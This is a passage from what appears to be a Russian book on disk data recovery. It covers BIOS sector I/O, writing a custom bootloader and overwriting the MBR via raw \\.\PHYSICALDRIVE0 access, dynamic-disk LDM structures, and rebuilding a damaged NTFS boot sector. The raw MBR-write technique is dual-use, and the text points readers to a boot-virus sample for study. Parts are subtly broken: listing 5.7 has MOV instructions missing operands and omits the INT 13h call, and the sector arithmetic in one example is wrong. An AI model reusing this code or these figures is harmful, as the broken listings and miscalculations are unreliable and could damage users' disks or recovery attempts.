Запись сектора в режиме CHS происходит практически точно так же, только регистр AH равен не 02h, a 03h. С режимом LBA разобраться намного сложнее, но мы, как настоящие хакеры, его обязательно осилим.

Чтение сектора осуществляется функцией 42h (AH = 42h). В регистр DL, как и прежде, заносится номер привода, а вот регистровая пара DS:SI указывает на адресный пакет (disk address packet), представляющий собой продвинутую структуру формата, описанного в табл. 5.4.

Таблица 5.4. Формат адресного пакета, используемый для чтения и записи секторов в режиме LBA

Смещение	Тип	Описание
00h	BYTE	Размер пакета — 10h или 18h
01h	BYTE	Поле зарезервировано и должно быть равно нулю
02h	WORD	Сколько секторов читать
04h	DWORD	32-разрядный адрес буфера-приемника в формате seg:offs
08h	QWORD	Стартовый номер сектора для чтения
10h	QWORD	64-разрядный плоский адрес буфера-приемника. Используется только в случае, если 32-разрядный адрес равен FFFF:FFFF

Код, читающий сектор в режиме LBA, в общем случае выглядит так, как показано в листинге 5.7.

Листинг 5.7. Код, осуществляющий чтение сектора с диска в режиме LBA

MOV DI, 1BEh      ; Перейти к первому разделу

MOV AX, CS        ; Настраиваем...

MOV buf_seg       ; ...сегмент

MOV EAX, [DI+08h] ; Смещение partition относительно

                  ; начала раздела

ADD EAX, EDI      ; EDI должен содержать номер сектора

                  ; текущего MBR

MOV [X_SEC]       ;

...

read_all_partitions:

 MOV АН, 42h      ; Читать сектор в режиме LBA

 MOV DL, 80h      ; Читать с первого диска

 MOV SI, dap      ; Смещение адресного пакета INT 13h

 JC error         ; Ошибка чтения

...

dap:

packet_size db 10h ; размер пакета 10h байт

reserved    db 00h ; "Заначка" для будущих расширений

N_SEC       dw 01h ; Читаем один сектор

buf_seg     dw 00h ; Сюда будет занесен сегмент буфера-приемника

buf_off     dw buf ; Смещение буфера-приемника

X_SEC       dd 0   ; Сюда будет занесен номер сектора для чтения

dd 0               ; Реально не используемый хвост

                   ; 64-битного адреса

buf rb 512         ; Буфер на 512 байт

Запись осуществляется аналогично чтению, только регистр AH содержит не 42h, a 43h. Регистр AL определяет режим: если бит 0 равен 1, BIOS выполняет не запись, а ее эмуляцию. Бит 2, будучи взведенным, задействует запись с проверкой. Если регистр AL равен 0, выполняется обыкновенная запись по умолчанию.

Теперь, освоившись с дисковыми прерываниями, перейдем к обсуждению остальных аспектов программирования.

Создаем код загрузчика

Лучше всего загрузчики программируются на FASM. С точки зрения ассемблера загрузчик представляет собой обыкновенный двоичный файл, предельно допустимый объем которого составляет 1BBh (443) байт. Немного? Но не будем спешить с выводами. Всякий раздел всегда начинается с начала цилиндра, а это значит, что между концом MBR и началом раздела имеется, по меньшей мере, n свободных секторов, где n == sectors per track. Практически все современные винчестеры имеют по 64 сектора на дорожку, что дает нам: 443 + 63*512 == 32 699 байт или приблизительно 32 Кбайт. Да в этот объем даже графический интерфейс с мышью уместить можно! Однако делать этого мы не будем. Настоящие хакеры работают в текстовом режиме с командной строкой.

Как уже говорилось, BIOS загружает MBR по адресу 7C00h, поэтому в начале ассемблерного кода должна стоять директива ORG 7C00h, а еще — USE16, ведь загрузчик выполняется в 16-разрядном реальном режиме. Позже, при желании, он может перейти в защищенный режим, но это будет уже потом. Не будем лезть в такие дебри.

Обнаружив загрузочный раздел (а обнаружить это можно по флагу 80h, находящемуся по нулевому смещению от начала раздела), загрузчик должен считать первый сектор этого раздела, поместив его в памяти по адресу 0000:7C00h, то есть в точности поверх своего собственного тела. А вот это уже нехорошо! И чтобы не вызвать крах системы, загрузчик должен заблаговременно перенести свое тело по другому адресу, что обычно осуществляется командой MOVSB. Копироваться можно по любому из адресов памяти — от 0080:0067h до 9FE00h. Память, расположенную ниже 0080:0067h, лучше не трогать, так как здесь находятся вектора прерываний и системные переменные BIOS, а от A000h и выше начинается область отображения ПЗУ, так что предельно доступный адрес равен A000h - 200h (размер сектора) == 9FE00h.

Не забывайте, что трогать регистр DL ни в коем случае нельзя, поскольку в нем передается номер загрузочного привода. Некоторые загрузчики содержат ошибку, всегда загружаясь с первого жесткого диска, и это в то время, как BIOS уже больше 10 лет как позволяют менять порядок загрузки, и потому загрузочным может быть любой привод.

По правде говоря, FASM — это единственный известный мне ассемблер, "переваривающий" команду дальнего вызова JMP 0000:7C00h напрямую. Все остальные ассемблеры заставляют извращаться приблизительно так: PUSH offset_of_target/PUSH segment_of_target/RETF. Здесь мы заталкиваем в стек сегмент и смещение целевого адреса и выполняем дальний RETF, переносящий нас на нужное место. Еще можно воспользоваться самомодифицирующимся кодом, собрав команду JMP FAR "вручную", или просто расположить целевой адрес в одном сегменте с исходным адресом (например, 0000:7C00h → 0000:7E00h). Однако эти подходы муторны и утомительны.

В общем, скелет нашего загрузчика будет выглядеть так, как показано в листинге 5.8.

Листинг 5.8. Скелет простейшего загрузчика, написанный на FASM

use16

ORG 7C00h

CLD            ; Копируем слева направо

               ; (в сторону увеличения адресов)

MOV SI,7C00h   ; Откуда копировать

MOV DI,7E00h   ; Куда копировать

MOV CX,200h    ; Длина сектора

REP MOVSB      ; Копируем

; // Выбираем раздел, который мы хотим загрузить,

; // считываем его в память по адресу 0000:7C00h

; // (см. листинги 5.7 и 5.6)

JMP 0000:7C00h ; Передаём управление на загрузочный сектор

Записываем загрузчик в главную загрузочную запись

Под старушкой MS-DOS записать свой загрузчик в MBR было просто. Для этого достаточно дернуть прерывание INT 13h, функция 03h (запись сектора). Но под Windows NT этот прием уже не работает, и приходится прибегать к услугам функции CreateFile. Если вместо имени открываемого файла указать название устройства, например, \\.\PHYSICALDRIVE0 (первый физический диск), мы сможем свободно читать и записывать его сектора вызовами ReadFile и WriteFile соответственно. При этом флаг dwCreationDisposition должен быть установлен на значение OPEN_EXISTING, а флаг dwShareMode — на значение FILE_SHARE_WRITE. Еще потребуются права системного администратора, иначе ничего не получится.

Законченный пример вызова CreateFile выглядит, как показано в листинге 5.9.

Листинг 5.9. Открытие непосредственного доступа к жесткому диску под Windows NT

XOR EAX,EAX

PUSH EAX                                   ; hTemplateFile

PUSH dword FILE_ATTRIBUTE_NORMAL           ; dwFlagsAndAttributes

PUSH dword OPEN_EXISTING                   ; dwCreationDisposition

PUSH EAX                                   ; lpSecurityAttributes

PUSH dword FILE_SHARE_WRITE                ; dwShareMode

PUSH dword (GENERIC_WRITE OR GENERIC_READ) ; dwDesiredAccess

PUSH DEVICE_NAME                           ; Имя устройства

CALL CreateFile                            ; Открываем устройство

INC EAX

TEST EAX,EAX

JZ error

DEC EAX

...

DEVICE_NAME db "\\.\PHYSICALDRIVE0",0

BUF RB 512 ; Буфер

Открыв физический диск и убедившись в успешности этой операции, мы должны прочитать оригинальный MBR-сектор в буфер, перезаписать первые 1BBh байт, ни в коем случае не трогая таблицу разделов и сигнатуру 55h AAh (мы ведь не хотим, чтобы диск перестал загружаться, верно?). Теперь остается записать обновленный код MBR на место и закрыть дескриптор устройства. После перезагрузки все изменения вступят в силу.

Примечание

Правда, вполне возможно, что внесенные вами изменения и не подумают вступать в силу. Загрузчик жестоко мстит за малейшие ошибки проектирования. Поэтому, чтобы не потерять содержимое своих разделов, для начала лучше попрактиковаться на VMWare или любом другом эмуляторе PC.

Под Windows 9x, разумеется, трюк с CreateFile не работает. Но там можно воспользоваться симуляцией прерываний из DMPI или обратиться к драйверу ASPI. Оба способа были подробно описаны в моей книге "Техника защиты компакт-дисков от копирования". Однако, хотя в ней речь идет о CD, а не о HDD, жесткие диски программируются аналогично.

Прежде чем писать собственный загрузчик, рекомендуется изучить существующие нестандартные загрузчики. Все перечисленные ниже загрузчики распространяются по лицензии GPL или BSD, то есть без ограничений.

□ Ge2000.asm — тщательно прокомментированный Stealth-вирус, подменяющий системный загрузчик своим собственным. Хоть это и вирус, но он не опасен и может быть использован в учебных целях.

□ Mbr.asm — предельно простой, но полнофункциональный загрузчик с поддержкой разделов свыше 8 Гбайт.

□ Bootasm — отличный менеджер мультизагрузки с подробными комментариями, переходит в защищенный режим, может грузиться с дискеты, компакт-диска, zip-дискеты, винчестера и т.д. Поддерживает разделы свыше 8 Гбайт, показывает индикатор загрузки и делает множество других полезных вещей, которые не помешает изучить.

Отладка кода загрузчика

Отлаживать код загрузчика невероятно трудно. Загрузчик получает управление задолго до запуска операционной системы, когда никакие отладчики еще не работают. Несколько лет назад это представляло огромную проблему, и при разработке "навороченных" загрузчиков приходилось либо встраивать в них интегрированный мини-отладчик, либо выискивать ошибки вручную, изучая листинги с карандашом в руке. С появлением эмуляторов все изменилось. Достаточно запустить такой эмулятор, как BOCHS (рис. 5.5), и вы сможете отлаживать загрузчик как и любую другую программу!

Рис. 5.5. Внешний вид эмулятора BOCHS в процессе отладки загрузочного сектора

Программирование загрузчиков — одна из тех немногих областей, в которых применение ассемблера действительно обоснованно. Языки высокого уровня для этого слишком абстрагированы от оборудования. Кроме того, они недостаточно гибки. Вот почему хакеры так любят возиться с загрузчиками, добавляя сюда множество новых возможностей, включая автоматическую загрузку с CD-ROM или дисков SCSI, противодействие вирусам, парольную защиту с шифрованием данных и т.д. Здесь действительно есть, где развернуться, и есть на чем показать все свои возможности. В качестве дополнительного чтения я рекомендовал бы вам несколько весьма интересных источников. Вот они:

□ MBR and OS Boot Records — масса интересного материала по MBR (на английском языке): http://thestarman.narod.ru/asm/mbr/MBR_in_detail.htm;

□ BOCHS — отличный эмулятор со встроенным отладчиком, значительно облегчающий процесс "пуско-наладки" загрузочных секторов. Бесплатен, распространяется с исходными текстами: http://bochs.sourceforge.net;

□ http://www.koders.com (рис. 5.6) — отличный поисковик, нацеленный на поиск исходных кодов, по ключевому слову MBR выдает огромное количество загрузчиков на любой вкус;

Рис. 5.6. Поиск исходных текстов загрузчиков MBR на сайте Koders

□ Ralf Brown Interrupt List (рис. 5.7) — знаменитый "Список прерываний" (Interrupt List) Ральфа Брауна (Ralf Brown), описывающий все прерывания, включая недокументированные (на английском языке): http://www.pobox.com/~ralf;

Рис. 5.7. Просмотр легендарного "Списка прерываний" Ральфа Брауна

□ OpenBIOS — проект "Открытого BIOS", распространяемого в исходных текстах. Помогает понять некоторые неочевидные моменты обработки системного загрузчика: http://www.openbios.info/docs/index.html.

Динамические диски

Динамические диски, впервые появившиеся в Windows 2000, представляют собой все тот же программный RAID, призванный преодолеть ограничения стандартных механизмов разбиения диска на разделы. Он учитывает ошибки своего прямого предшественника — программных реализаций RAID в Windows NT, хранящих конфигурационную информацию в системном реестре. Этот недостаток препятствовал переносу RAID с компьютера на компьютер, и делало эти массивы чрезвычайно чувствительными к повреждениями реестра.

Типы динамических дисков, поддерживаемые Windows 2000

Начиная с Windows 2000, операционные системы этого семейства поддерживают следующие типы динамических дисков:

□ Простые (simple) — практически ничем не отличаются от обычных разделов, за исключением того, при переразбиении диска отпадает необходимость в перезагрузке. Данный тип является базовым для всех остальных динамических дисков.

 • Избыточность данных — отсутствует

 • Эффективность — низкая

□ Составные (spanned) — состоят из одного или нескольких простых дисков, находящихся в различных разделах или даже на физически различных устройствах, но представленные как один логический диск. Запись данных на простые диски осуществляется последовательно (то есть составной диск представляет собой классический линейный RAID).

 • Избыточность данных — отсутствует

 • Эффективность — низкая

□ Чередующиеся (striped) — чередующиеся динамические диски аналогичны составным, но данные записываются параллельно на все простые диски. При условии, что простые диски расположены на различных каналах контроллера IDE, это значительно увеличивает скорость обмена данными. Иными словами, чередующиеся динамические диски представляют собой классическую реализацию RAID уровня 0.

 • Избыточность данных — отсутствует

 • Эффективность — средняя

□ Зеркальные (mirrored) — зеркальные динамические тома представляют собой два простых диска, расположенных на разных устройствах. Данные дублируются на оба носителя (RAID уровня 1).

 • Избыточность данных — средняя

 • Эффективность — средняя

□ Чередующиеся с контролем четности (striped with parity) — соответствуют RAID уровня 5. Такие тома состоят из трех или большего количества дисков. Фактически такие тома представляют собой чередующиеся тома, на которых реализован контроль ошибок. Запись данных ведется на два диска, в два блока, а на третий диск и в третий блок записывается код коррекции ошибок (error correction code, ECC), с помощью которого содержимое отказавшего блока можно восстановить по информации любого из блоков.

 • Избыточность данных — высокая

 • Эффективность — высокая

□ Зеркальные с чередованием (mirrored striped) — эти тома соответствуют RAID 1+0.

 • Избыточность данных — средняя

 • Эффективность — высокая

По умолчанию Windows создает базовые диски (basic volumes). Однако любой базовый диск в любой момент времени может быть обновлен до динамического, и это не потребует даже перезагрузки системы.

Примечание

Терминологические соответствия для обычных (basic) и динамических (dynamic) дисков приведены в табл. 5.5.

Таблица 5.5. Терминологические соответствия динамических и обычных дисков

Базовые разделы (Basic disks)	Динамические разделы (Dynamic disks)
Основный раздел (Primary partition)	Простой том (Simple volume)
Системный и загрузочный разделы (System and boot partitions)	Системный и загрузочный тома (System and boot volumes)
Активный раздел (Active partition)	Активный том (Active volume)
Расширенный раздел (Extended partition)	Том и свободное пространство (Volume and unallocated space)
Логический диск (Logical drive)	Простой том (Simple volume)
Набор томов (Volume set)	Составной том (Spanned volume)
Чередующийся набор (Stripe set)	Чередующийся том (Stripe set)

Динамические диски не пользуются таблицей разделов, а потому и не имеют проблем, связанных с ограничением разрядности адресации CHS, и позволяют создавать тома практически неограниченного размера. Однако динамические диски, созданные путем обновления основных разделов, все-таки остаются в таблице разделов, при этом для них значение поля Boot ID меняется на 42h. Если эта информация будет удалена, система откажется подключать такой динамический диск. Между прочим, операционная система Windows может быть установлена только на такой динамический диск, который был получен путем обновления базового, так как BIOS может загружать систем) лишь с тех разделов, которые перечислены в таблице разделов. При этом динамические диски, созданные "на лету", в таблицу разделов как раз и не попадают.

Схема разбиения динамических дисков содержится в базе данных менеджера логических дисков (Logical Disk Manager Database, LDM). Это — протоколируемая (journalled) база данных, поддерживающая транзакции и устойчивая к сбоям. Если в процессе манипуляции с томами вдруг происходит сбой питания, то при последующем включении компьютера будет выполнен откат (rollback) в предыдущее состояние. При переносе винчестера, содержащего один или несколько динамических дисков, на другой компьютер они автоматически распознаются и монтируются, как обыкновенные диски.

База данных LDM хранится в последнем мегабайте жесткого диска, а для дисков, полученных путем обновления базового раздела до динамического, — в последнем мегабайте этого раздела. Как уже говорилось, идентификатор загрузки Boot ID соответствующей записи таблицы разделов принимает значение 42h. Так происходит потому, что при стандартном разбиении винчестера в его конце просто не остается свободного места, и операционной системе приходится сохранять эту информацию непосредственно на самом обновляемом диске (естественно, для этого на нем необходимо иметь по меньшей мере 1 Мбайт свободного пространства).

Сразу же за таблицей разделов по адресу 0/0/2 расположен приватный заголовок PRIVHEAD, содержащий в себе ссылки на основные структуры LDM (рис. 5.8). Если PRIVHEAD погибнет, Windows не сможет обнаружить и смонтировать динамические диски. К сожалению, гибнет он удручающе часто. Подавляющее большинство загрузочных вирусов и дисковых менеджеров считают сектор 0/0/2 свободным и используют его для хранения своего тела, необратимо затирая прежнее содержимое. Осознавая значимость заголовка PRIVHEAD, разработчики из Microsoft сохранили его в двух копиях, одна из которых хранится в конце LDM, а другая — в последнем секторе физического диска. Благодаря такой избыточности PRIVHEAD практически никогда не приходится восстанавливать вручную. Однако если такая необходимость все же возникнет, обратитесь к проекту LINUX-NTFS за подобным описанием его структуры (http://www.linux-ntfs.org/), здесь же оно по соображениям экономии места не приводится.

Рис. 5.8. База данных LDM и ее дислокация

Внутреннее устройство базы данных LDM не документировано. При этом даже поверхностный взгляд на ее структуру сразу же дает понятие о ее мощи и сложности (рис. 5.9). На самом верху иерархии расположено оглавление базы — структура TOCBLOCK (Table Of Content Block), состоящая из двух секций, config и log (причем, вероятно, в будущем их список будет расширен). Секция config содержит информацию о текущем разбиении диска на динамические тома, a log хранит журнал изменений схемы разбиения. Это — очень мощное средство в борьбе с энтропией! Если удалить один или несколько динамических разделов, информация о старом разбиении сохранится в журнале, что позволит с легкостью восстановить утерянные тома! Будучи очень важной структурой, оглавление диска защищено от случайного разрушения тремя резервными копиями, одна из которых вплотную примыкает к оригинальной версии TOCBLOCK, расположенной в начале базы LDM, а две других находятся в конце диска, между копиями PRIVHEAD.

Рис. 5.9. Внутренняя структура LDM

Внутренне секция config состоит из заголовка (VMDB) и одного или нескольких 128-байтных структур, называемых VBLKs, каждая из которых описывает соответствующий ей том, контейнер, раздел, диск или группу дисков. Заголовок VMDB не имеет копии и нигде не дублируется. Однако все его изменения протоколируются в журнале (KLOG) и потому могут быть восстановлены.

Примечание

Строение VMDB и VBLKs подробно описано в разделе "LDM Documentation" на сайте проекта LINUX-NTFS. Поэтому здесь оно не приводится в целях экономии места. Оно действительно очень громоздко, к тому же, крайне маловероятно, что кому-то потребуется восстанавливать секцию config вручную.

Для просмотра базы данных LDM и архивирования ее содержимого можно воспользоваться утилитой LDM-dump Марка Руссиновича, бесплатную копию которой можно скачать с его сайта (http://www.sysinternals.com/files/ldmdump.zip). Как вариант можно зарезервировать последний мегабайт физического диска, а также последние мегабайты всех разделов, для которых значение поля Boot ID равно 42h. Сделать это можно с помощью любого дискового редактора (например, Sector Inspector). Эту информацию рекомендуется хранить на надежном носителе (Zip-дискете, CD-R/RW). Помимо этого, не забудьте также создать и резервную копию структуры TOCBLOCK.

При восстановлении удаленных динамических дисков необходимо учитывать следующие факторы:

1. Во-первых, журнал изменений на интерфейсном уровне недоступен, и выполнить откат штатными средствами операционной системы невозможно.

2. Во-вторых, загрузочные сектора удаляемых дисков автоматически очищаются, и восстанавливать их приходится вручную. Более подробно эта тема будет раскрыта в следующем разделе.

Если размер и тип удаленного динамического диска вам известны (на дисках NTFS его можно извлечь из копии загрузочного сектора), просто зайдите в Менеджер Управления Дисками (Disk Manager) и воссоздайте его заново, от предложения отформатировать раздел любезно откажитесь и восстановите очищенный загрузочный сектор по методике, описанной в следующем разделе.

Как видно, Microsoft тщательно позаботилась о своих пользователях и тщательно проработала структуру динамических дисков, что для нее, вообще говоря, нехарактерно.

Основные сведения о загрузочном секторе

Первый сектор логического диска носит название загрузочного (boot). Он содержит код самозагрузки (bootstrap code) и важнейшие сведения о геометрии диска, без которых раздел просто не будет смонтирован. Структура загрузочного сектора определяется архитектурными особенностями конкретной файловой системы. В частности, структура загрузочного сектора NTFS описана в табл. 5.6.

Таблица 5.6. Строение загрузочного сектора NTFS

Смещение	Размер	Описание
0x00	3 bytes	Инструкция перехода
0x03	8 байт	OEM ID — идентификатор
0x0B	25 bytes	BPB
0x24	48 bytes	Extended BPB
0x54	426 bytes	Bootstrap Code
0x01FE	WORD	55 AA

В начале всякого сектора расположена трехбайтная машинная команда перехода на код самозагрузки (обычно она имеет вид EB 52 90, хотя возможны и различные вариации). Так происходит потому, что при загрузке boot-сектора в память управление передается на его первый байт, а код самозагрузки по туманным историческим соображениям был отодвинут в конец сектора (для NTFS верхняя граница составляет 54h байт), вот и приходится прыгать блохой!

С третьего по одиннадцатый байты (считая от нуля) хранится идентификатор производителя, определяющий тип и версию используемой файловой системы (например, MSDOS5.0 для FAT16, MSWIN4.0/MSWIN4.1 для FAT32 и NTFS — для NTFS). Если это поле окажется искаженным, то драйвер не сможет смонтировать диск. В ряде случаев драйвер может даже счесть такой диск не отформатированным.

Примечание

С дисками, отформатированными для использования FAT, Windows 2000 будет работать даже в том случае, если поле OEM ID запорчено. В отношении NTFS это не так.

Следом за идентификатором расположен 25-байтовый блок параметров BIOS (BIOS Parameter Block, BPB), хранящий сведения о геометрии диска (количество цилиндров, головок, секторов, размер сектора, количество секторов в кластере и т.д.). Если эта информация окажется утерянной или искаженной, то нормальное функционирование драйвера файловой системы станет невозможным. Причем, в отличие от информации о числе цилиндров/головок/секторов, которая дублирует информацию, содержащуюся в MBR, а при ее утере элементарно восстанавливается описанным выше способом, размер кластера определить не так-то просто! Позже мы обсудим этот вопрос более подробно, пока же вполне достаточно сослаться на табл. 5.7, в которой указаны размеры кластера томов NTFS, по умолчанию выбираемые штатной утилитой форматирования.

Таблица 5.7. Размеры кластеров, по умолчанию выбираемые штатной утилитой форматирования в Windows 2000

Размер диска	Размер кластера
<512 Мбайт	1 сектор
< 1 Гбайт	2 сектора
< 2 Гбайт	4 сектора
> 2 Гбайт	8 секторов

При выборе размера кластера вручную Windows 2000 поддерживает следующий размерный ряд: 1 сектор, 2 сектора, 4 сектора, 8 секторов, 16 секторов, 32 сектора, 64 сектора и 128 секторов. Чем больше размер кластера, тем слабее фрагментация и выше предельно адресуемый объем дискового пространства. Однако потери от грануляции с увеличением размера кластера тоже растут. Впрочем, размеры кластеров редко задаются вручную.

К блоку параметров BIOS вплотную примыкает его продолжение — расширенный блок параметров BIOS (extended BPB), хранящий номер первого кластера MFT, ее размер в кластерах, номер кластера с зеркалом MFT, а также некоторую другую служебную информацию. В отличие от FAT16/FAT32, MFT может располагаться в любом месте диска (для борьбы с BAD-секторами это актуально). При нормальном развитии событий MFT располагается практически в самом начале диска (где-то в районе четвертого кластера) и, если только она не была перемещена, то ее легко найти глобальным поиском (искать следует строку FILE* по смещению о от начала сектора). При разрушении или некорректном заполнении расширенного блока параметров BIOS драйвер файловой системы отказывается монтировать раздел, объявляя его не отформатированным.

Следом за расширенным блоком параметров BIOS идет код самозагрузки (Bootstrap Code), который ищет на диске загрузчик операционной системы (у операционных систем из семейства Windows NT это — файл ntldr), загружает его в память и передает ему управление. Если код самозагрузки отсутствует, загрузка операционной системы становится невозможной, однако при подключении восстанавливаемого диска вторым раздел должен быть прекрасно виден. Повреждение кода самозагрузки вызывает перезагрузку компьютера или его зависание.

Наконец, завершает загрузочный сектор уже известная нам сигнатура 55h AAh, без которой он ни за что не будет признан загрузочным. Подробная информация обо всех полях загрузочного сектора NTFS приведена в табл. 5.8.

Таблица 5.8. Значения полей загрузочного сектора NTFS

Смещение	Размер	Описание
0x00	3 байта	Инструкция перехода
0x03	8 байт	OEM ID
0x0B	WORD	Количество байт на сектор (для жестких дисков всегда 512)
0x0D	BYTE	Количество секторов на кластер
0x0E	WORD	Количество зарезервированных секторов, всегда равно 0
0x10	3 байта	He используется NTFS и всегда должно быть равно 0
0x13	WORD	Не используется NTFS и всегда должно быть равно 0
0x15	BYTE	Дескриптор носителя (media descriptor) — для жестких дисков всегда равен 0xF8
0x16	WORD	Не используется NTFS и всегда должно быть равно 0
0x18	WORD	Количество секторов на дорожку
0x1A	WORD	Количество головок
0x1C	DWORD	Количество скрытых секторов
0x20	DWORD	Не используется NTFS и всегда должно быть равно 0
0x24	DWORD	Не используется NTFS и всегда должно быть равно 0
0x28	8 байт	Общее количество секторов (total sector)
0x30	8 байт	Логический номер кластера, с которого начинается MFT
0x38	8 байт	логический номер кластера, с которого начинается зеркало MTF
0x40	DWORD	Количество кластеров на сегмент (File Record Segment)
0x44	DWORD	Количество кластеров на блок индексов (index block)
0x48	8 байт	Серийный номер тома
0x50	DWORD	Контрольная сумма (0 — не подсчитывать).
0x54	426 байт	Код самозагрузки (Bootstrap Code)
0x01FE	WORD	Сигнатура 55 AA

Техника восстановления загрузочного сектора

Осознавая значимость загрузочного сектора, операционная система Windows NT при форматировании диска создает его зеркальную копию (однако делает она это только на разделах NTFS). Для различных версий Windows расположение резервной копии загрузочного сектора различно. Так, Windows NT 4.0 располагает ее в середине логического диска, a Windows 2000 — в последнем секторе раздела. Если таблица разделов уцелела, то для восстановления загрузочного сектора достаточно просто перейти в начало следующего раздела и отступить на сектор назад (Windows 2000) или поделить количество секторов логического диска пополам (с округлением в нижнюю сторону) и перейти к сектору с полученным номером, дав редактору диска команду GO (Windows NT 4.0).

Если таблица разделов разрушена, то найти резервную копию загрузочного сектора можно глобальным поиском (ищите строку NTFS по смещению 3 от начала сектора). Поскольку положение копии фиксировано и отсчитывается от начала логического диска, мы можем с абсолютной уверенностью определить границы раздела. Предположим, что копия загрузочного сектора найдена в секторе 1289724, а поле NumberSectors содержит значение 12289661. Тогда номер конечного сектора раздела равен 1289724, а номер стартового сектора можно вычислить следующим образом: 1289724 - 12289661 == 63. Поскольку загрузочный сектор расположен на расстоянии одной головки от таблицы разделов, что соответствует значению SectorPerTrack, мы сможем восстановить и ее.

Если резервных копий загрузочного сектора нет, его придется реконструировать вручную. К счастью, это совсем не так сложно, как может показаться на первый взгляд. В поле идентификатора производителя заносится строка NTFS (обратите внимание, что на конце этой строки должны быть четыре пробела). Поля, задающие количество секторов на дорожке и количество головок, заполняются, исходя из текущей геометрии диска. Количество скрытых секторов (то есть количество секторов, расположенных между началом раздела и загрузочным разделом) равно количеству головок. Общее количество секторов в разделе вычисляется на основании его размера (если точный размер не известен, берите значение с запасом).

Количество секторов в кластере определить сложнее. Это особенно справедливо, если при форматировании диска было задано количество секторов на кластер, отличное от значения по умолчанию. Но ситуация вовсе не безнадежна. Последовательно сканируя файловые записи в MFT, найдите файл с предопределенной и заранее известной сигнатурой. Пусть, для определенности, это будет файл NTOSKRNL.EXE. Откройте его аутентичную копию в HEX-редакторе, найдите уникальную последовательность, гарантированно не встречающуюся ни в каких других файлах и расположенную в пределах первых 512 байт от его начала, после чего найдите эту сигнатуру глобальным поиском по всему диску. Начальный номер кластера вам известен (он содержится в MFT), логический номер сектора известен тоже (его нашел дисковый редактор). Теперь остается лишь соотнести эти две величины между собой. Естественно, если дисковый редактор найдет удаленную копию NTOSKRNL.EXE (или на диске будут присутствовать несколько файлов NTOSKRNL.EXE), данный метод даст осечку, поэтому полученный результат необходимо уточнить, проведя аналогичные исследования с использованием других файлов.

Логический номер первого кластера MFT равен первому кластеру, в начале которого встретилась строка FILE* (конечно, при том условии, что MFT не была перемещена). По умолчанию Windows выделяет под MFT 12,5% от емкости раздела, помещая ее зеркальную копию в середину. Кроме того, ссылка на "зеркало" присутствует и в самой MFT. Если же MFT разрушена, переместитесь в середину диска, немного отступите назад и повторите глобальный поиск строки FILE* (только, смотрите, не вылетите в соседний раздел!). Первое же найденное вхождение с высокой степенью вероятности и будет зеркальной копией MFT.

Количество кластеров на сегмент обычно равно F6h, а количество кластеров на блок индексов — 01h. Других значений мне встречать не доводилось. Серийный номер тома может быть любым — он ни на что не влияет.

Для восстановления отсутствующего (искаженного) кода самозагрузки загрузите консоль восстановления Windows 2000 или Windows XP и дайте команду FIXBOOT.

Как видите, в восстановлении загрузочного сектора нет ничего мифического, и для устранения большинства типов разрушений супервысокой квалификации не требуется. Если же какие-то из утверждений, приведенных в этой главе, вам не понятны, перечитайте ее, сидя за компьютером с запущенным дисковым редактором. До сих пор мы говорили о достаточно простых и хорошо известных вещах. Теперь, как следует раскачавшись и освоившись с основными понятиями, мы можем отправляться в самые дебри NTFS, восстановлению структур которой посвящена следующая глава.

Глава 6

Файловая система NTFS — взгляд изнутри

В этой главе будут рассмотрены основные структуры файловой системы NTFS и ее основополагающие концепции — главная файловая таблица (MFT), файловые записи, последовательности обновления, атрибуты или потоки (streams), а также отрезки (data runs).

Без полноценного понимания этих концепций невозможно более или менее осмысленно работать с дисковыми редакторами или заниматься ручным либо полуавтоматическим восстановлением данных.

Введение

Файловую систему NTFS принято описывать как сложную реляционную базу данных, обескураживающую грандиозностью своего архитектурного замысла не одно поколение начинающих исследователей. NTFS похожа на огромный, окутанный мраком лабиринт, в котором очень легко заблудиться. К счастью, хакеры давно разобрались с основными структурами данных. Тем не менее, от магистральных коридоров лабиринта, ярко освещенных светом настенных факелов (и подсознательно ассоциируемых с хорошо исследованными структурами данных), отходит большое количество ответвлений. Эти ответвления освещены значительно хуже (если освещены вообще). Они хранят большое количество опасных ловушек, соответствующих особым случаям обработки структур данных, которые на первый взгляд кажутся знакомыми.

В отличие от драйвера, позволяющего только читать данные с томов NTFS, который можно запрограммировать буквально за один вечер (с отладкой!), написанием полноценного драйвера, позволяющего не только читать, но и писать данные на тома NTFS, заняться еще никто не рисковал. К счастью, никто и не требует от нас написания полноценного драйвера NTFS! Наша задача значительно скромнее — вернуть разрушенный том в состояние, пригодное для восприятия операционной системой или, по крайней мере, извлечь с такого тома все ценные файлы. Для этого совершенно необязательно вникать в структуру журналов транзакций, дескрипторов безопасности, двоичных деревьев. Иначе говоря, нам потребуется разобраться лишь с устройством главной файловой таблицы — MFT, а также нескольких дочерних подструктур.

Основными источниками данных по NTFS служат:

□ книга Хелен Кастер (Helen Custer) "Inside the Windows NT file system" (в русском издании она входит в состав книги "Основы Windows NT и NTFS"), подробно описывающая концепции файловой системы и дающая о ней общее представление. К сожалению, все объяснения ведутся на абстрактном уровне без указания конкретных числовых значений, смещений и структур. Кроме того, после выхода Windows 2000 и Windows XP, в файловую систему были внесены значительные изменения, никак не отраженные в упомянутой книге. Если вы не сможете найти эту книгу в магазинах — ищите её в файлообменных сетях. В них есть все! Например, попробуйте найти ее с помощью e-Mule (http://www.eMule.ru);

□ хакерская документация от коллектива "Linux-NTFS Project" (http://www.linux-ntfs.org/), чьим хобби долгое время была разработка независимого драйвера NTFS для Linux. К сожалению, сейчас энтузиазм команды начал стремительно угасать. Это выдающееся творение, подробно описывающее все ключевые структуры файловой системы (на английском языке), не заменяет книгу Кастер, но существенно расширяет ее;

Примечание

Разобраться в документации Linux-NTFS Project без знания основ NTFS очень и очень непросто! Поэтому рекомендуемый порядок чтения следующий: сначала прочтите книгу Хелен Кастер, затем приступайте к чтению хакерской документации.

□ документация от Active@Data Recovery Software, описывающая утилиту Active Uneraser (бесплатную копию этой утилиты можно найти на сайте http://www.NTFS.com). Это — своеобразное сочетание книги Хелен Кастер и документации Linux-NTFS Project, описывающее важнейшие структуры данных и обходящее стороной все вопросы, которые только можно обойти. Здесь же можно найти до предела выхолощенное изложение методики восстановления данных. В общем, если не найдете книгу Хелен, скачайте демонстрационную версию Active Uneraser и воспользуйтесь прилагаемой к ней документацией;

Примечание

Утилита Active Uneraser поставляется в двух вариантах — в виде образа дискеты и в виде образа CD. Сопроводительная документация присутствует только во втором варианте поставки.

